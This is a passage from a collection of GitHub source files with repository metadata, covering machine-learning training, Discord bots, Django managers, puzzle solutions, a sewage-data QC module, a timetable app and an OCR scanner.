#加载最优模型\n net.load_state_dict(torch.load(modelSavePath))\n totalLoss, f1Score, preTags, _, sentences = eval(net, submitIter, criterion=lossFunction, DEVICE=DEVICE)\n\n #生成提交结果\n submitPre = open(submitPrePath, 'w', encoding='utf-8', errors='ignore')\n for tag, sentence in zip(preTags, sentences):\n for element1, element2 in zip(sentence, tag):\n submitPre.write(int2word[element1] + '\\t' + element2 + '\\n')\n submitPre.write('\\n')\n submitPre.close()\n generateSubmit(submitPrePath=submitPrePath, submitResultPath=submitResultPath)\n\n\n\nif __name__ == \"__main__\":\n #指定model\n optParser = OptionParser()\n optParser.add_option('-m', '--model', action = 'store', type='string', dest ='modelName')\n option, args = optParser.parse_args()\n \n f = open('./config.yml', encoding='utf-8', errors='ignore')\n config = yaml.load(f)\n DEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n config['DEVICE'] = DEVICE\n config['modelName'] = option.modelName\n f.close()\n main(config)\n \n","repo_name":"zyxdSTU/datagrand","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70745186713","text":"import logging\nimport os\n\nfrom discord.ext import commands\n\nfrom modules.utilities.general_utility import GeneralUtility\n\n\nclass ExceptionLoggingCog(commands.Cog, name=\"Exception Logging\"):\n \"\"\" Andy Bot's custom error logging cog. \"\"\"\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n\n async def log_exception(self, error, traceback):\n error = str(error) + \"\\n\\n\" + traceback\n log_channel = self.bot.get_channel(int(os.environ.get(\"ERROR_LOG_ID\")))\n if log_channel:\n time, date = GeneralUtility.get_time_and_date()\n message = f\"Error occurred at {time} on {date}!\\n\\n```{error}```\\n\"\n await log_channel.send(message)\n logging.error(message)\n\n\nasync def setup(bot: commands.Bot):\n await bot.add_cog(ExceptionLoggingCog(bot))\n","repo_name":"zakpruitt/andy-bot","sub_path":"modules/cogs/exception_logging_cog.py","file_name":"exception_logging_cog.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18990852547","text":"from typing import Any\n\nimport structlog\n\nfrom src.amocrm.repos import AmocrmStatus, AmocrmStatusRepo\nfrom src.booking.constants import BookingSubstages\nfrom src.booking.exceptions import BookingNotFoundError\nfrom src.booking.loggers import booking_changes_logger\nfrom src.booking.services.deactivate_booking import DeactivateBookingService\nfrom src.properties.entities import BasePropertyCase\nfrom src.booking.repos import BookingRepo, Booking\nfrom src.properties.models import RequestUnbindBookingPropertyModel\nfrom src.task_management.constants import PaidBookingSlug\nfrom src.task_management.services import UpdateTaskInstanceStatusService\n\n\nclass UnbindBookingPropertyCase(BasePropertyCase):\n \"\"\"\n Отвязывание объекта недвижимости от сделки\n \"\"\"\n\n def __init__(\n self,\n booking_repo: type[BookingRepo],\n deactivate_booking_service: DeactivateBookingService,\n update_status_service: UpdateTaskInstanceStatusService,\n amocrm_status_repo: type[AmocrmStatusRepo],\n ):\n self.booking_repo: BookingRepo = booking_repo()\n self.amocrm_status_repo: AmocrmStatusRepo = amocrm_status_repo()\n self.deactivate_booking_service: DeactivateBookingService = deactivate_booking_service\n self.update_status_service: UpdateTaskInstanceStatusService = update_status_service\n self.booking_update = booking_changes_logger(\n self.booking_repo.update, self, content=\"Отвязывание объекта недвижимости от сделки\"\n )\n self.logger = structlog.getLogger(__name__)\n\n async def __call__(self, payload: RequestUnbindBookingPropertyModel) -> None:\n filters: dict[str, int] = dict(id=payload.booking_id)\n booking: Booking = await self.booking_repo.retrieve(\n filters=filters,\n related_fields=[\"project\"],\n )\n if not booking:\n raise BookingNotFoundError\n await self.deactivate_booking_service(booking=booking)\n\n filters = dict(\n name__iexact=BookingSubstages.MAKE_DECISION_LABEL,\n pipeline_id=booking.project.amo_pipeline_id,\n )\n amocrm_status: AmocrmStatus = await self.amocrm_status_repo.retrieve(filters=filters)\n\n data: dict[str, Any] = dict(\n profitbase_booked=False,\n amocrm_substage=BookingSubstages.MAKE_DECISION,\n amocrm_status=amocrm_status,\n active=False,\n final_payment_amount=None,\n payment_amount=None,\n )\n await self.booking_update(booking=booking, data=data)\n self.logger.info(\n \"Booking deactivated\", booking=booking, is_active=booking.active\n )\n await self.update_status_service(\n booking_id=booking.id, status_slug=PaidBookingSlug.START.value\n )\n","repo_name":"r2r2/strana_backend","sub_path":"cabinet/src/properties/use_cases/unbind_booking.py","file_name":"unbind_booking.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"2159030180","text":"from functools import reduce\nimport numpy as np\n\ndef isUniqueNumber(element):\n nbSegment = len(element);\n return nbSegment == 2 or nbSegment == 4 or nbSegment == 3 or nbSegment == 7;\n\nf = open(\"input/data.txt\",\"r\");\n\ncount = 0\n\nfor line in f :\n output = line.split(\" | \")[1].strip().split(\" \")\n \n uniqueNumber = np.array(list(map(isUniqueNumber,output)))\n count += np.count_nonzero(uniqueNumber)\n\nprint(f\"Output : {count} \")\n\nf.close()","repo_name":"Nactik/AOC2021","sub_path":"day8/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40370208491","text":"run = True\nrunning = True\na = 1\nb = 1\n\nwhile run: #цикл который создает простые числа по очереди\n a = a + 2 #увеличиваем сило на 2 чтобы пропустить четные и сокрвтит время работы\n t = a\n running = True\n while running: #цикл проверяет созданное число на делители\n t = t - 1\n if a % t == 0 and t > 1:\n running = False\n elif a % t == 0 and t == 1: #это условие значит что число простое\n b = b + 1 #порядковый номер простого числа\n running = False\n if b == 10001:\n print(a)\n break\n","repo_name":"zoozx/Project_Euler","sub_path":"Problem_7.py","file_name":"Problem_7.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70342330391","text":"# Write a function, persistence, that takes in a positive parameter num and\n# returns its multiplicative persistence, which is the number of times you must\n# multiply the digits in num until you reach a single digit.\n\n# For example (Input --> Output):\n\n# 39 --> 3 (because 3*9 = 27, 2*7 = 14, 1*4 = 4 and 4 has only one digit)\n# 999 --> 4 (because 9*9*9 = 729, 7*2*9 = 126, 1*2*6 = 12, and finally 1*2 = 2)\n# 4 --> 0 (because 4 is already a one-digit number)\ndef multiplyNums(n):\n\n result = 1\n for x in n:\n result = result * x\n return result\n\n\ndef persistence(n):\n count = 0\n while len(str(n)) > 1:\n n = str(n)\n n = list(n)\n n = [int(v) for v in n]\n result = multiplyNums(n)\n n = str(result)\n count += 1\n return count\n\n\nprint(persistence(4))\n","repo_name":"scottyfionnghall/garbage","sub_path":"practice/codewars/persistence.py","file_name":"persistence.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24559499370","text":"# Created by alex at 22.06.23\nimport math\nfrom dateutil.relativedelta import relativedelta\nfrom .utils import *\nfrom .statistics import *\nfrom .plotting import *\n\n\nclass SurrogateVirusQC:\n\n def __init__(self, sewageStat: SewageStat, periode_month_surrogatevirus, min_number_surrogatevirus_for_outlier_detection, surrogatevirus_outlier_statistics, output_folder):\n self.sewageStat = sewageStat\n self.periode_month_surrogatevirus = periode_month_surrogatevirus\n self.min_number_surrogatevirus_for_outlier_detection = min_number_surrogatevirus_for_outlier_detection\n self.surrogatevirus_outlier_statistics = surrogatevirus_outlier_statistics\n self.output_folder = output_folder\n self.logger = SewageLogger(output_folder)\n\n def __get_start_timeframe(self, current_date: datetime):\n start_timeframe = (current_date - relativedelta(months=self.periode_month_surrogatevirus)).strftime('%Y-%m-%d')\n return start_timeframe\n\n def filter_dry_days_time_frame(self, sample_location: str, measurements: pd.DataFrame, index):\n \"\"\"\n Get rid of rainy days\n \"\"\"\n current_measurement = measurements.iloc[index]\n if current_measurement[Columns.TROCKENTAG.value].lower().strip() != \"ja\":\n SewageFlag.add_flag_to_index_column(measurements, index, CalculatedColumns.FLAG.value,\n SewageFlag.SURROGATEVIRUS_VALUE_NOT_USABLE)\n\n def __get_previous_surrogatevirus_values (self, measurements_df: pd.DataFrame, current_measurement, sVirus):\n \"\"\"\n Timeframe of n month, all surrogatevirus measurements that are set and are not flagged\n \"\"\"\n #get current timeframe eg. last 4 month from current measurement\n start_timeframe = self.__get_start_timeframe(current_measurement[Columns.DATE.value])\n\n current_timeframe = measurements_df[(measurements_df[Columns.DATE.value] > start_timeframe) &\n (measurements_df[Columns.DATE.value] < current_measurement[Columns.DATE.value])]\n\n # get rid of empty measurements\n current_timeframe = current_timeframe[current_timeframe[sVirus].notna()]\n\n # remove previously flagged values rainy days and outliers\n current_timeframe = current_timeframe[(SewageFlag.is_not_flag_set_for_series(current_timeframe[CalculatedColumns.FLAG.value],SewageFlag.SURROGATEVIRUS_VALUE_NOT_USABLE)) &\n (SewageFlag.is_not_flag_set_for_series(current_timeframe[CalculatedColumns.FLAG.value],CalculatedColumns.get_surrogate_outlier_flag(sVirus)))]\n\n sVirus_values_to_take = current_timeframe[[Columns.DATE.value, sVirus]]\n\n return sVirus_values_to_take\n\n def is_surrogatevirus_outlier(self, sample_location: str, measurements: pd.DataFrame, index):\n \"\"\"\n Detect surrogatevirus outlier, for each measurement and surrogatevirus\n \"\"\"\n current_measurement = measurements.iloc[index]\n for sVirus in Columns.get_surrogatevirus_columns():\n\n if SewageFlag.is_not_flag(current_measurement[CalculatedColumns.FLAG.value], SewageFlag.SURROGATEVIRUS_VALUE_NOT_USABLE) and current_measurement[sVirus] and not math.isnan(\n current_measurement[sVirus]):\n sVirus_values_to_take = self.__get_previous_surrogatevirus_values(measurements, current_measurement, sVirus)\n if len(sVirus_values_to_take) > self.min_number_surrogatevirus_for_outlier_detection:\n is_outlier = detect_outliers(self.surrogatevirus_outlier_statistics, sVirus_values_to_take[sVirus],\n current_measurement[sVirus])\n if is_outlier:\n SewageFlag.add_flag_to_index_column(measurements, index, CalculatedColumns.FLAG.value,\n CalculatedColumns.get_surrogate_outlier_flag(sVirus))\n self.sewageStat.add_surrogate_virus_outlier(sVirus, 'outlier')\n else:\n self.sewageStat.add_surrogate_virus_outlier(sVirus, 'passed')\n\n else:\n self.sewageStat.add_surrogate_virus_outlier(sVirus, 'skipped')\n\n\n\n\n","repo_name":"axgraf/sewageQualityControl","sub_path":"lib/surrogatevirusQC.py","file_name":"surrogatevirusQC.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23625345846","text":"from django.db import models\n\n\nclass OpinionStepOneAbpManager(models.Manager):\n\n def get_opinion_abp_list(self):\n return self.select_related('team_detail_abp').filter(auth_state='A').order_by('-created_at')\n\n def get_opinion_abp_by_pk(self, pk=None):\n try:\n return self.select_related('team_detail_abp').filter(auth_state='A').get(id=pk)\n except:\n return None\n\n def exists_opinion_abp(self, pk=None):\n return self.filter(id=pk, auth_state='A').exists()\n\n def get_interactions_step_one_abp_by_opinion(self, opinion=None):\n try:\n return self.filter(\n id=opinion,\n interactionsteponeabp__active=True,\n interactionsteponeabp__auth_state='A',\n auth_state='A'\n ).values(\n 'interactionsteponeabp',\n 'interactionsteponeabp__user',\n 'interactionsteponeabp__opinion_interaction',\n 'interactionsteponeabp__active',\n 'interactionsteponeabp__created_at'\n )\n except:\n return None\n\n def get_opinion_count_by_team_detail(self, team_detail):\n try:\n return self.select_related('team_detail_abp').\\\n filter(team_detail_abp=team_detail, active=True, auth_state='A').count()\n except:\n return None\n\n def get_interactions_ids_step_one_abp_by_opinion(self, opinion=None):\n try:\n return self.filter(\n id=opinion,\n interactionsteponeabp__active=True,\n interactionsteponeabp__auth_state='A',\n auth_state='A'\n ).values(\n 'interactionsteponeabp',\n )\n except:\n return None\n\n def get_opinions_step_one_exclude_user_by_team(self, team=None, user=None):\n try:\n return self.select_related('user', 'team_abp').filter(\n team_abp=team,\n opinionsteponeabp__active=True,\n opinionsteponeabp__auth_state='A',\n auth_state='A'\n ).exclude(user=user).values(\n 'opinionsteponeabp',\n 'opinionsteponeabp__opinion',\n 'opinionsteponeabp__active',\n 'opinionsteponeabp__created_at'\n )\n except:\n return None\n\n def get_popular_interactions_step_one_abp_by_opinion(self, opinion=None):\n try:\n return self.filter(\n id=opinion,\n interactionsteponeabp__active=True,\n interactionsteponeabp__auth_state='A',\n active=True,\n auth_state='A',\n interactionsteponeabp__opinion_interaction=2\n ).aggregate(\n popular_interactions=models.Count(\n 'interactionsteponeabp'\n )\n )\n except:\n return None\n\n def get_team_opinions_abp_list(self, team=None):\n try:\n return self.select_related(\n 'team_detail_abp',\n 'team_detail_abp__team_abp'\n ).filter(\n team_detail_abp__team_abp=team,\n team_detail_abp__team_abp__state=1,\n team_detail_abp__team_abp__auth_state='A',\n team_detail_abp__active=True,\n team_detail_abp__auth_state='A',\n active=True,\n auth_state='A'\n ).order_by('team_detail_abp')\n except:\n return None\n","repo_name":"Andresn97/conon-test-app","sub_path":"applications/abp_steps/api/api_opinion_step_one_abp/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71123670873","text":"from lexer import Lexer\nfrom parser_ import Parser\nfrom interpreter import Interpreter\n\nprint(\"Welcome to Avocado-0.1.1\"\n \"\\n-----------------------------\\n\")\nwhile True:\n try:\n text = input(\"🥑 \")\n\n lexer = Lexer(text)\n tokens = lexer.generate_tokens()\n\n parser = Parser(tokens)\n tree = parser.parse()\n\n if not tree:\n continue\n\n interpreter = Interpreter()\n value = interpreter.visit(tree)\n\n print(tree)\n print(value)\n except Exception as e:\n print(e)\n","repo_name":"billyeatcookies/Avocado","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"908266167","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\n\n#Import relevant modules\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom pandas.plotting import scatter_matrix\n\njulia = pd.read_csv (\"julia.csv\")\njulia = julia.drop(columns = \"Unnamed: 0\")\njulia['dividends'] = julia['dividends'].fillna(0)\n\n\n\n\n#Describe categorical values\njulia[[\"id\",\"stamp\"]].describe()\n\n\n\n\n#Descibe numerical values\njulia.describe()\n\n\n\n\n#Create correlation matrix\nplt.figure(figsize=(15,10))\nsns.heatmap(julia.corr(), cmap=\"YlGnBu\", annot=True)\nplt.savefig('corr.png')\nplt.show()\n\n\n\n\n#Create correlation scatter matrix\nscatter_matrix(julia, figsize = (15,10))\nplt.savefig(\"scat.png\")\nplt.show()\n\n\n\n\n#Create lagged values\njulia['laginterest'] = julia.groupby('id')['interest'].shift(-1)\njulia['lagvolatility'] = julia.groupby('id')['volatility'].shift(-1)\njulia['lagcoeff'] = julia.groupby('id')['coeff'].shift(-1)\njulia['lagSPprice'] = julia.groupby('id')['SPprice'].shift(-1)\njulia['lagdividends'] = julia.groupby('id')['dividends'].shift(-1)\njulia['lagSPvol'] = julia.groupby('id')['SPvol'].shift(-1)\njulia['lagtrade'] = julia.groupby('id')['trade'].shift(-1)\njulia['lagamihud'] = julia.groupby('id')['amihud'].shift(-1)\njulia['lagreturns'] = julia.groupby('id')[\"returns\"].shift(-1)\n\n\n\n\n#Create correlation matrix with lags\nplt.figure(figsize=(15,10))\nsns.heatmap(julia[[\"returns\",\"lagcoeff\",\"laginterest\",\"lagSPprice\",\"lagSPvol\",\"lagdividends\",\"lagvolatility\",\"lagtrade\",\"lagamihud\"]].corr(), cmap=\"YlGnBu\", annot=True)\nplt.savefig('corrlag.png')\nplt.show()\n\n\n\n\n#Create correlation scatter matrix with lags\nscatter_matrix(julia[[\"returns\",\"lagcoeff\",\"laginterest\",\"lagSPprice\",\"lagSPvol\",\"lagdividends\",\"lagvolatility\",\"lagtrade\",\"lagamihud\"]], figsize = (15,10))\nplt.savefig(\"scatlag.png\")\nplt.show()\n\n","repo_name":"gaitkin/insider-predictions","sub_path":"variables/variabledescription.py","file_name":"variabledescription.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15303271426","text":"from textual.app import App, ComposeResult\n\nfrom textual import events, on\nfrom textual.containers import Container\nfrom textual.validation import Number\nfrom textual.widgets import Button, Input, Label, DataTable, LoadingIndicator, Pretty\n\nfrom .algo import Subject, generate_timetable\n\nJours = (\"\", \" Monday \", \" Tuesday \",\n \" Wednesday \", \" Thursday \", \" Friday \", \" Saturday \")\nhourly = [[\"8:30 AM-9:30 AM\"], [\"9:30 AM-10:30 AM\"], [\"10:30 AM-11:30 AM\"], [\"11:30 AM-12:30 PM\"],\n [\"13:30 PM-14:30 PM\"], [\"14:30 PM-15:30 PM\"], [\"15:30 PM-16:30 PM\"], [\"16:30 PM-17:30 PM\"]]\n\nrow_keys = []\n\n\nclass MyApp(App):\n CSS_PATH = \"timetable.css\"\n\n def compose(self) -> ComposeResult:\n yield Label(\"Time Table\", id=\"title\")\n with Container(id=\"container\"):\n with Container(classes=\"form\"):\n yield Label(\"DBMS\")\n yield Input(id=\"sgbd\", placeholder=\"Hours\", validators=[Number(minimum=2, maximum=6)])\n\n with Container(classes=\"form\"):\n yield Label(\"System & Network Admin\")\n yield Input(id=\"sysAdmin\", placeholder=\"Hours\", validators=[Number(minimum=2, maximum=6)])\n\n with Container(classes=\"form\"):\n yield Label(\"Web Development\")\n yield Input(id=\"devWeb\", placeholder=\"Hours\", validators=[Number(minimum=2, maximum=6)])\n\n with Container(classes=\"form\"):\n yield Label(\"Algorithm\")\n yield Input(id=\"algo\", placeholder=\"Hours\", validators=[Number(minimum=2, maximum=6)])\n\n with Container(classes=\"form\"):\n yield Label(\"Communication\")\n yield Input(id=\"comm\", placeholder=\"Hours\", validators=[Number(minimum=2, maximum=6)])\n\n with Container(classes=\"form\"):\n yield Label(\"English\")\n yield Input(id=\"ang\", placeholder=\"Hours\", validators=[Number(minimum=2, maximum=6)])\n\n yield Pretty([])\n yield DataTable(id=\"table\")\n with Container(id=\"btn-container\"):\n yield Button(\"Generate\", id=\"submit\")\n yield Button(\"Quit\", id=\"quit\")\n\n @on(Input.Changed)\n def show_invalid_reasons(self, event: Input.Changed) -> None:\n if not event.validation_result.is_valid:\n self.query_one(Pretty).update(\n event.validation_result.failure_descriptions)\n else:\n self.query_one(Pretty).update(\"Everything is fine\")\n\n @staticmethod\n def transposed(data):\n max_row_length = max(len(row) for row in data)\n\n transposed_data = []\n for column_index in range(max_row_length):\n transposed_row = []\n for row in data:\n if column_index < len(row):\n transposed_row.append(row[column_index])\n transposed_data.append(transposed_row)\n\n return transposed_data\n\n def on_mount(self) -> None:\n global row_keys\n \n table = self.query_one(DataTable)\n table.zebra_stripes = True\n table.add_columns(*Jours)\n emtpy_table_rows = [h + line for h, line in zip(hourly, [[], [], [], [], [], [], [], []])]\n emtpy_table_rows.insert(4, [])\n row_keys = table.add_rows(emtpy_table_rows)\n\n @on(Button.Pressed, \"#submit\")\n def submit_action(self, event: Button.Pressed) -> None:\n try:\n global hourly\n global row_keys\n\n heur_sgb = int(self.query_one(\"#sgbd\", Input).value)\n heur_sys = int(self.query_one(\"#sysAdmin\", Input).value)\n heur_dev = int(self.query_one(\"#devWeb\", Input).value)\n heur_algo = int(self.query_one(\"#algo\", Input).value)\n heur_comm = int(self.query_one(\"#comm\", Input).value)\n heur_ang = int(self.query_one(\"#ang\", Input).value)\n\n hours = [heur_sgb, heur_sys, heur_dev,\n heur_algo, heur_comm, heur_ang]\n\n for h in hours:\n if not 2 <= h <= 6:\n raise Exception\n\n subjects = [\n Subject(\"DBMS\", heur_sgb),\n Subject(\"System & Network Admin\", heur_sys),\n Subject(\"Web Development\", heur_dev),\n Subject(\"Algorithm\", heur_algo),\n Subject(\"Communication\", heur_comm),\n Subject(\"English\", heur_ang)\n ]\n\n time_table = generate_timetable(subjects)\n\n table = self.query_one(\"#table\", DataTable)\n\n transposed_timetable = self.transposed(time_table)\n\n timetable_plus_hourly = [hour + line for hour,\n line in zip(hourly, transposed_timetable)]\n\n timetable_plus_hourly.insert(4, []) # add seprator line\n\n for row_key in row_keys:\n table.remove_row(row_key)\n\n row_keys = table.add_rows(timetable_plus_hourly)\n\n except Exception as e_:\n pass\n\n @on(Button.Pressed, \"#quit\")\n def quit_action(self, event: Button.Pressed):\n exit()\n\n\nif __name__ == \"__main__\":\n app = MyApp()\n app.run()\n","repo_name":"tbgracy/timetable","sub_path":"wcc_timetable_generator/timetable.py","file_name":"timetable.py","file_ext":"py","file_size_in_byte":5119,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"24835775905","text":"\"includedview: bagstore\"\nfrom builtins import range\nfrom builtins import object\nfrom gnr.core.gnrbag import Bag\n\nclass GnrCustomWebPage(object):\n dojo_source = True\n py_requires=\"gnrcomponents/testhandler:TestHandlerFull,foundation/includedview\"\n \n def test_0_firsttest(self,pane):\n \"\"\"First test description\"\"\"\n frame = pane.framePane('gridtest',height='400px',_class='no_over',datapath='.test')\n tbar = frame.top.slotToolbar('*,addrow',addrow_delay=300)\n frame.data('.mybag',self.common_data())\n frame.dataController(\"console.log(data)\",data=\"=#\",fired='tt')\n iv = frame.includedView(storepath='.mybag',datapath=False,struct=self.common_struct,datamode='bag',\n selectedIndex='.currIndex',\n selfsubscribe_addrow=\"\"\"for(var i=0; i<$1._counter;i++){\n this.widget.addBagRow('#id', '*', this.widget.newBagRow());\n }\n this.widget.editBagRow(null);\n \"\"\")\n gridEditor = iv.gridEditor()\n gridEditor.textbox(gridcell='name')\n gridEditor.numbertextbox(gridcell='age')\n gridEditor.textbox(gridcell='work')\n \n def common_data(self):\n result = Bag()\n for i in range(5):\n result['r_%i' % i] = Bag(dict(name='Mr. Man %i' % i, age=i + 36, work='Work useless %i' % i))\n return result\n \n def common_struct(self, struct):\n r = struct.view().rows()\n r.cell('name',name='Name',width='10em')\n r.cell('age',name='Age',dtype='I',width='5em')\n r.cell('work',name='Work',width='10em')\n ","repo_name":"genropy/genropy_saved","sub_path":"projects/gnrcore/packages/test15/webpages/gnrwdg/includedview_bagstore.py","file_name":"includedview_bagstore.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"5"} +{"seq_id":"21102518681","text":"\"\"\"\nThis script analyses the relation between the electrolyte concentration and temperature with the expression:\n 1+dlnf/dlnc_e\nThis expression is taken from the reference: Han et al. A numerically efficient method of solving the full order pseudo\n2-D Li-ion cell model. 2021. JPS\n\"\"\"\nfrom typing import Optional, Union\n\nimport numpy as np\nimport numpy.typing as npt\nimport matplotlib.pyplot as plt\n\n\ndef func_dlnf(c_e: Union[float, npt.ArrayLike], temp: float, t_c: float) -> float:\n c_e = c_e * 0.001\n return (0.601-0.24*c_e+(0.982-5.1064e-3*(temp-294.15))*c_e**1.5)/(1-t_c)\n\n\ntemp1 = 298.15\ntemp2 = 263\ntemp3 = 333\nt_c = 0.38\narray_ce = np.linspace(0, 4000)\narray_dlnf1 = func_dlnf(c_e=array_ce, temp=temp1, t_c=t_c)\narray_dlnf2 = func_dlnf(c_e=array_ce, temp=temp2, t_c=t_c)\narray_dlnf3 = func_dlnf(c_e=array_ce, temp=temp3, t_c=t_c)\n\n# important results below\nprint('1 + dlnf at 800 mol/3 at 288.15: ', func_dlnf(800, temp=288.15, t_c=0.384))\nprint('1 + dlnf at 1000 mol/3 at 288.15: ', func_dlnf(1000, temp=288.15, t_c=0.384))\nprint('1 + dlnf at 800 mol/3 at 298.15: ', func_dlnf(800, temp=298.15, t_c=0.384))\nprint('1 + dlnf at 1000 mol/3 at 298.15: ', func_dlnf(1000, temp=298.15, t_c=0.384))\nprint('1 + dlnf at 800 mol/3 at 308.15: ', func_dlnf(800, temp=308.15, t_c=0.384))\nprint('1 + dlnf at 1000 mol/3 at 308.15: ', func_dlnf(1000, temp=308.15, t_c=0.384))\n\n# plots below\nplt.plot(array_ce, array_dlnf1, label=temp1)\nplt.plot(array_ce, array_dlnf2, label=temp2)\nplt.plot(array_ce, array_dlnf3, label=temp3)\n\nplt.legend()\nplt.show()\n","repo_name":"m0in92/SPPy","sub_path":"examples/eSP/general_analysis/d_ln_f.py","file_name":"d_ln_f.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"16864106074","text":"from setuptools import setup, find_packages\n\ndef version():\n with open('hydenv/__version__.py', 'r') as f:\n loc = dict()\n exec(f.read(), loc, loc)\n return loc['__version__']\n\n\ndef readme():\n with open('README.md') as f:\n return f.read()\n\n\ndef requirements():\n with open('requirements.txt') as f:\n return f.read().split('\\n')\n\n\nsetup(\n name='hydenv',\n version=version(),\n author='Mirko Mälicke',\n author_email='mirko@hydrocode.de',\n description='Database management tools for data lecture',\n long_description=readme(),\n long_description_content_type='text/markdown',\n install_requires=requirements(),\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False\n)\n","repo_name":"data-hydenv/hydenv-database","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"10642719904","text":"import sqlite3\nimport numpy as np\nfrom configparser import ConfigParser\n\n'''将相关数据从���据库中读取出来、存储,以节省访问时间'''\n\nclass DataKeeper(object):\n def __init__(self):\n cp = ConfigParser()\n cp.read('config.conf')\n self.N = int(cp.get('hy', 'N'))\n self.all_days_used = int(cp.get('hy', 'all_days_used'))\n self.code = [0 for i in range(self.N)]\n self.data=np.array([[0.0 for i in range(self.all_days_used)] for j in range(self.N)] ) #K支股票的价格数据 k*(T+L)\n self.index = np.array([0.0 for i in range(self.all_days_used)])# 指数的价格数据 T+L\n self.db_path=cp.get('db', 'db_path')\n # 市场资本总值 总市值\n self.all_market_capitalization = np.array(\n [[0.0 for _ in range(self.all_days_used)] for _ in range(self.N)])\n self.memory_stocks_data()\n\n def memory_stocks_data(self):\n '''获得N支股票的相关信息并存储'''\n conn = sqlite3.connect(self.db_path)\n c = conn.cursor()\n #print('数据库连接成功')\n\n #获得N支股票code\n sql=\"select distinct code from originData\"\n c.execute(sql)\n for i in range(self.N):\n result=c.fetchone()\n self.code[i]=result[0]\n\n\n # get stock price\n stock_i = 0\n for code in self.code:\n SQL = 'select closeprice from originData where code=\\'%s\\'' % code\n cursor = conn.execute(SQL)\n data = cursor.fetchall()\n date_i = 0\n for row in data:\n self.data[stock_i][date_i] = row[0]\n date_i += 1\n stock_i += 1\n\n # # get all stock TotalValue\n # stock_i = 0\n # for code in self.code:\n # SQL = 'select TotalValue from originData where code=\\'%s\\'' % code\n # cursor = conn.execute(SQL)\n # data = cursor.fetchall()\n # date_i = 0\n # for row in data:\n # self.all_market_capitalization[stock_i][date_i] = row[0]\n # date_i += 1\n # stock_i += 1\n\n # get index\n SQL = 'select closeprice from indexes'\n cursor = conn.execute(SQL)\n data = cursor.fetchall()\n date_i = 0\n for row in data:\n self.index[date_i] = row[0]\n date_i += 1\n\n conn.commit()\n conn.close()\n\nif __name__==\"__main__\":\n datak=DataKeeper()","repo_name":"anon4review/IntelliPortfolio","sub_path":"code/HeuristicGA/dataKeeper.py","file_name":"dataKeeper.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"7000085987","text":"class Solution:\n def isPalindrome(self, s: str) -> bool:\n left_point = 0\n right_point = len(s) - 1 \n while left_point <= right_point:\n if not s[left_point].isalnum() and not s[right_point].isalnum():\n left_point += 1\n right_point -= 1\n continue\n elif not s[left_point].isalnum():\n left_point += 1\n continue\n elif not s[right_point].isalnum():\n right_point -= 1\n continue\n \n if s[left_point].lower() != s[right_point].lower():\n return False\n \n left_point += 1\n right_point -= 1\n \n return True\n\n\nif __name__ == \"__main__\":\n s = Solution()\n print(s.isPalindrome('A man, a plan, a canal: Panama'))\n\n","repo_name":"almabud/ProblemSolving","sub_path":"problems-and-solutions/leet-code-125/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"2045630633","text":"import cv2\nimport numpy as np\nimport pytesseract\nimport preprocess as pre\nimport imutils\n\npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\n\nimg = cv2.imread(\"testimg/test6.jpg\")\ncopy = img.copy()\n\ngray = pre.get_gray(img)\nblur = pre.gaussianblur(gray)\ncanny = pre.cannyedge(blur)\n\n#cv2.imshow(\"Original\", img)\n#cv2.imshow(\"gray\", gray)\n#cv2.imshow(\"Blur\", blur)\ncv2.imshow(\"Canny\", canny)\nedged = canny.copy()\n\nBorderCont = pre.countours(edged)\n#print(BorderCont)\n\nbordered = pre.drawborder(img, BorderCont)\ncv2.imshow(\"Bordered\", bordered)\n\nBorderCont = BorderCont.reshape(4,2)\n\nrect = np.zeros((4,2), dtype = \"float32\")\n\n(rect, dst, width, height) = pre.getimgprop(BorderCont)\n\nscan = pre.birdseyeview(copy, rect, dst, width, height)\ncv2.imshow(\"Scan\", 